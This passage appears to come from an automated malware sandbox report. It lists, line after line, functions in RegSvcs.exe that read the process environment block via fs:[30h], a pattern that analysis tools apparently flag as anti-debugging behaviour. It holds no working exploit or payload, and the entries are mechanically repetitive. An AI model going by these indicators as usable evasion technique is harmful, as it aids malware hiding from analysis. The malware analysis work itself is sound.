Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_00FEA3C0 mov eax, dword ptr fs:[00000030h] 3_2_00FEA3C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_00FEA3C0 mov eax, dword ptr fs:[00000030h] 3_2_00FEA3C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_00FEA3C0 mov eax, dword ptr fs:[00000030h] 3_2_00FEA3C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_00FEA3C0 mov eax, dword ptr fs:[00000030h] 3_2_00FEA3C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_00FEA3C0 mov eax, dword ptr fs:[00000030h] 3_2_00FEA3C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_01068243 mov eax, dword ptr fs:[00000030h] 3_2_01068243
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_01068243 mov ecx, dword ptr fs:[00000030h] 3_2_01068243
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_0109A250 mov eax, dword ptr fs:[00000030h] 3_2_0109A250
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_0109A250 mov eax, dword ptr fs:[00000030h] 3_2_0109A250
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_00FD8397 mov eax, dword ptr fs:[00000030h] 3_2_00FD8397
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_00FD8397 mov eax, dword ptr fs:[00000030h] 3_2_00FD8397
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_00FD8397 mov eax, dword ptr fs:[00000030h] 3_2_00FD8397
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_00FDE388 mov eax, dword ptr fs:[00000030h] 3_2_00FDE388
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_00FDE388 mov eax, dword ptr fs:[00000030h] 3_2_00FDE388
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_00FDE388 mov eax, dword ptr fs:[00000030h] 3_2_00FDE388
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_01090274 mov eax, dword ptr fs:[00000030h] 3_2_01090274
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_01090274 mov eax, dword ptr fs:[00000030h] 3_2_01090274
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_01090274 mov eax, dword ptr fs:[00000030h] 3_2_01090274
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_01090274 mov eax, dword ptr fs:[00000030h] 3_2_01090274
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_01090274 mov eax, dword ptr fs:[00000030h] 3_2_01090274
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_01090274 mov eax, dword ptr fs:[00000030h] 3_2_01090274
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_01090274 mov eax, dword ptr fs:[00000030h] 3_2_01090274
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_01090274 mov eax, dword ptr fs:[00000030h] 3_2_01090274
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_01090274 mov eax, dword ptr fs:[00000030h] 3_2_01090274
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_01090274 mov eax, dword ptr fs:[00000030h] 3_2_01090274
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_01090274 mov eax, dword ptr fs:[00000030h] 3_2_01090274
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_01090274 mov eax, dword ptr fs:[00000030h] 3_2_01090274
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_01060283 mov eax, dword ptr fs:[00000030h] 3_2_01060283
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_01060283 mov eax, dword ptr fs:[00000030h] 3_2_01060283
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_01060283 mov eax, dword ptr fs:[00000030h] 3_2_01060283
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_0101E284 mov eax, dword ptr fs:[00000030h] 3_2_0101E284
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_0101E284 mov eax, dword ptr fs:[00000030h] 3_2_0101E284
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_010762A0 mov eax, dword ptr fs:[00000030h] 3_2_010762A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_010762A0 mov ecx, dword ptr fs:[00000030h] 3_2_010762A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_010762A0 mov eax, dword ptr fs:[00000030h] 3_2_010762A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_010762A0 mov eax, dword ptr fs:[00000030h] 3_2_010762A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_010762A0 mov eax, dword ptr fs:[00000030h] 3_2_010762A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_010762A0 mov eax, dword ptr fs:[00000030h] 3_2_010762A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_00FDC310 mov ecx, dword ptr fs:[00000030h] 3_2_00FDC310
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_01076500 mov eax, dword ptr fs:[00000030h] 3_2_01076500
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_010B4500 mov eax, dword ptr fs:[00000030h] 3_2_010B4500
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_010B4500 mov eax, dword ptr fs:[00000030h] 3_2_010B4500
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_010B4500 mov eax, dword ptr fs:[00000030h] 3_2_010B4500
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_010B4500 mov eax, dword ptr fs:[00000030h] 3_2_010B4500
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_010B4500 mov eax, dword ptr fs:[00000030h] 3_2_010B4500
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_010B4500 mov eax, dword ptr fs:[00000030h] 3_2_010B4500
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_010B4500 mov eax, dword ptr fs:[00000030h] 3_2_010B4500
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_00FE04E5 mov ecx, dword ptr fs:[00000030h] 3_2_00FE04E5
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_0100E53E mov eax, dword ptr fs:[00000030h] 3_2_0100E53E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_0100E53E mov eax, dword ptr fs:[00000030h] 3_2_0100E53E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_0100E53E mov eax, dword ptr fs:[00000030h] 3_2_0100E53E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_0100E53E mov eax, dword ptr fs:[00000030h] 3_2_0100E53E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_0100E53E mov eax, dword ptr fs:[00000030h] 3_2_0100E53E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_00FE64AB mov eax, dword ptr fs:[00000030h] 3_2_00FE64AB
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_0101656A mov eax, dword ptr fs:[00000030h] 3_2_0101656A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_0101656A mov eax, dword ptr fs:[00000030h] 3_2_0101656A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_0101656A mov eax, dword ptr fs:[00000030h] 3_2_0101656A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_01014588 mov eax, dword ptr fs:[00000030h] 3_2_01014588
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_0101E59C mov eax, dword ptr fs:[00000030h] 3_2_0101E59C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_00FD645D mov eax, dword ptr fs:[00000030h] 3_2_00FD645D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_010605A7 mov eax, dword ptr fs:[00000030h] 3_2_010605A7
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_010605A7 mov eax, dword ptr fs:[00000030h] 3_2_010605A7
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_010605A7 mov eax, dword ptr fs:[00000030h] 3_2_010605A7
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_010045B1 mov eax, dword ptr fs:[00000030h] 3_2_010045B1
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_010045B1 mov eax, dword ptr fs:[00000030h] 3_2_010045B1
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_0101E5CF mov eax, dword ptr fs:[00000030h] 3_2_0101E5CF
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_0101E5CF mov eax, dword ptr fs:[00000030h] 3_2_0101E5CF
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_0101A5D0 mov eax, dword ptr fs:[00000030h] 3_2_0101A5D0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_0101A5D0 mov eax, dword ptr fs:[00000030h] 3_2_0101A5D0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_00FDC427 mov eax, dword ptr fs:[00000030h] 3_2_00FDC427
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_00FDE420 mov eax, dword ptr fs:[00000030h] 3_2_00FDE420
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_00FDE420 mov eax, dword ptr fs:[00000030h] 3_2_00FDE420
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_00FDE420 mov eax, dword ptr fs:[00000030h] 3_2_00FDE420
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_0100E5E7 mov eax, dword ptr fs:[00000030h] 3_2_0100E5E7
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_0100E5E7 mov eax, dword ptr fs:[00000030h] 3_2_0100E5E7
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_0100E5E7 mov eax, dword ptr fs:[00000030h] 3_2_0100E5E7
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_0100E5E7 mov eax, dword ptr fs:[00000030h] 3_2_0100E5E7
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_0100E5E7 mov eax, dword ptr fs:[00000030h] 3_2_0100E5E7
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_0100E5E7 mov eax, dword ptr fs:[00000030h] 3_2_0100E5E7
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_0100E5E7 mov eax, dword ptr fs:[00000030h] 3_2_0100E5E7
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_0100E5E7 mov eax, dword ptr fs:[00000030h] 3_2_0100E5E7
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_0101C5ED mov eax, dword ptr fs:[00000030h] 3_2_0101C5ED
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_0101C5ED mov eax, dword ptr fs:[00000030h] 3_2_0101C5ED
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_01018402 mov eax, dword ptr fs:[00000030h] 3_2_01018402
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_01018402 mov eax, dword ptr fs:[00000030h] 3_2_01018402
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_01018402 mov eax, dword ptr fs:[00000030h] 3_2_01018402
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_00FE25E0 mov eax, dword ptr fs:[00000030h] 3_2_00FE25E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_01066420 mov eax, dword ptr fs:[00000030h] 3_2_01066420
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_01066420 mov eax, dword ptr fs:[00000030h] 3_2_01066420
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_01066420 mov eax, dword ptr fs:[00000030h] 3_2_01066420
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_01066420 mov eax, dword ptr fs:[00000030h] 3_2_01066420
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_01066420 mov eax, dword ptr fs:[00000030h] 3_2_01066420
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_01066420 mov eax, dword ptr fs:[00000030h] 3_2_01066420
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_01066420 mov eax, dword ptr fs:[00000030h] 3_2_01066420
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_00FE65D0 mov eax, dword ptr fs:[00000030h] 3_2_00FE65D0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_0101A430 mov eax, dword ptr fs:[00000030h] 3_2_0101A430
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_0101E443 mov eax, dword ptr fs:[00000030h] 3_2_0101E443
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_0101E443 mov eax, dword ptr fs:[00000030h] 3_2_0101E443
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_0101E443 mov eax, dword ptr fs:[00000030h] 3_2_0101E443
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_0101E443 mov eax, dword ptr fs:[00000030h] 3_2_0101E443
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_0101E443 mov eax, dword ptr fs:[00000030h] 3_2_0101E443
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_0101E443 mov eax, dword ptr fs:[00000030h] 3_2_0101E443
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_0101E443 mov eax, dword ptr fs:[00000030h] 3_2_0101E443
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_0101E443 mov eax, dword ptr fs:[00000030h] 3_2_0101E443
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_0100245A mov eax, dword ptr fs:[00000030h] 3_2_0100245A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_0109A456 mov eax, dword ptr fs:[00000030h] 3_2_0109A456
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_0106C460 mov ecx, dword ptr fs:[00000030h] 3_2_0106C460
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_0100A470 mov eax, dword ptr fs:[00000030h] 3_2_0100A470
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_0100A470 mov eax, dword ptr fs:[00000030h] 3_2_0100A470
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_0100A470 mov eax, dword ptr fs:[00000030h] 3_2_0100A470
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_00FE2582 mov eax, dword ptr fs:[00000030h] 3_2_00FE2582
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_00FE2582 mov ecx, dword ptr fs:[00000030h] 3_2_00FE2582
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_0109A49A mov eax, dword ptr fs:[00000030h] 3_2_0109A49A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_00FE8550 mov eax, dword ptr fs:[00000030h] 3_2_00FE8550
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_00FE8550 mov eax, dword ptr fs:[00000030h] 3_2_00FE8550
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_010144B0 mov ecx, dword ptr fs:[00000030h] 3_2_010144B0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_0106A4B0 mov eax, dword ptr fs:[00000030h] 3_2_0106A4B0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_00FF0535 mov eax, dword ptr fs:[00000030h] 3_2_00FF0535
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_00FF0535 mov eax, dword ptr fs:[00000030h] 3_2_00FF0535
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_00FF0535 mov eax, dword ptr fs:[00000030h] 3_2_00FF0535
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_00FF0535 mov eax, dword ptr fs:[00000030h] 3_2_00FF0535
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_00FF0535 mov eax, dword ptr fs:[00000030h] 3_2_00FF0535
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_00FF0535 mov eax, dword ptr fs:[00000030h] 3_2_00FF0535
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_0101C700 mov eax, dword ptr fs:[00000030h] 3_2_0101C700
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_01010710 mov eax, dword ptr fs:[00000030h] 3_2_01010710
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_0101C720 mov eax, dword ptr fs:[00000030h] 3_2_0101C720
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_0101C720 mov eax, dword ptr fs:[00000030h] 3_2_0101C720
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_0105C730 mov eax, dword ptr fs:[00000030h] 3_2_0105C730
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_0101273C mov eax, dword ptr fs:[00000030h] 3_2_0101273C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_0101273C mov ecx, dword ptr fs:[00000030h] 3_2_0101273C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_0101273C mov eax, dword ptr fs:[00000030h] 3_2_0101273C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_0101674D mov esi, dword ptr fs:[00000030h] 3_2_0101674D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_0101674D mov eax, dword ptr fs:[00000030h] 3_2_0101674D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_0101674D mov eax, dword ptr fs:[00000030h] 3_2_0101674D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_01022750 mov eax, dword ptr fs:[00000030h] 3_2_01022750
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_01022750 mov eax, dword ptr fs:[00000030h] 3_2_01022750
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_01064755 mov eax, dword ptr fs:[00000030h] 3_2_01064755
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_0106E75D mov eax, dword ptr fs:[00000030h] 3_2_0106E75D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_00FE4690 mov eax, dword ptr fs:[00000030h] 3_2_00FE4690
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_00FE4690 mov eax, dword ptr fs:[00000030h] 3_2_00FE4690
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_0108678E mov eax, dword ptr fs:[00000030h] 3_2_0108678E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_010947A0 mov eax, dword ptr fs:[00000030h] 3_2_010947A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_00FFC640 mov eax, dword ptr fs:[00000030h] 3_2_00FFC640
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_010607C3 mov eax, dword ptr fs:[00000030h] 3_2_010607C3
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_00FE262C mov eax, dword ptr fs:[00000030h] 3_2_00FE262C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_00FFE627 mov eax, dword ptr fs:[00000030h] 3_2_00FFE627
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_0106E7E1 mov eax, dword ptr fs:[00000030h] 3_2_0106E7E1
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_010027ED mov eax, dword ptr fs:[00000030h] 3_2_010027ED
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_010027ED mov eax, dword ptr fs:[00000030h] 3_2_010027ED
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_010027ED mov eax, dword ptr fs:[00000030h] 3_2_010027ED
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_00FF260B mov eax, dword ptr fs:[00000030h] 3_2_00FF260B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_00FF260B mov eax, dword ptr fs:[00000030h] 3_2_00FF260B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_00FF260B mov eax, dword ptr fs:[00000030h] 3_2_00FF260B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_00FF260B mov eax, dword ptr fs:[00000030h] 3_2_00FF260B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_00FF260B mov eax, dword ptr fs:[00000030h] 3_2_00FF260B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_00FF260B mov eax, dword ptr fs:[00000030h] 3_2_00FF260B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_00FF260B mov eax, dword ptr fs:[00000030h] 3_2_00FF260B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_00FE47FB mov eax, dword ptr fs:[00000030h] 3_2_00FE47FB
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_00FE47FB mov eax, dword ptr fs:[00000030h] 3_2_00FE47FB
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_0105E609 mov eax, dword ptr fs:[00000030h] 3_2_0105E609
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_01022619 mov eax, dword ptr fs:[00000030h] 3_2_01022619
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_01016620 mov eax, dword ptr fs:[00000030h] 3_2_01016620
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_01018620 mov eax, dword ptr fs:[00000030h] 3_2_01018620
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_00FEC7C0 mov eax, dword ptr fs:[00000030h] 3_2_00FEC7C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_00FE07AF mov eax, dword ptr fs:[00000030h] 3_2_00FE07AF
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_0101A660 mov eax, dword ptr fs:[00000030h] 3_2_0101A660
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_0101A660 mov eax, dword ptr fs:[00000030h] 3_2_0101A660
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_010A866E mov eax, dword ptr fs:[00000030h] 3_2_010A866E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_010A866E mov eax, dword ptr fs:[00000030h] 3_2_010A866E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_01012674 mov eax, dword ptr fs:[00000030h] 3_2_01012674
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_00FE8770 mov eax, dword ptr fs:[00000030h] 3_2_00FE8770
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_00FF0770 mov eax, dword ptr fs:[00000030h] 3_2_00FF0770
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_00FF0770 mov eax, dword ptr fs:[00000030h] 3_2_00FF0770
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_00FF0770 mov eax, dword ptr fs:[00000030h] 3_2_00FF0770
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_00FF0770 mov eax, dword ptr fs:[00000030h] 3_2_00FF0770
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_00FF0770 mov eax, dword ptr fs:[00000030h] 3_2_00FF0770
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_00FF0770 mov eax, dword ptr fs:[00000030h] 3_2_00FF0770
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_00FF0770 mov eax, dword ptr fs:[00000030h] 3_2_00FF0770
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_00FF0770 mov eax, dword ptr fs:[00000030h] 3_2_00FF0770
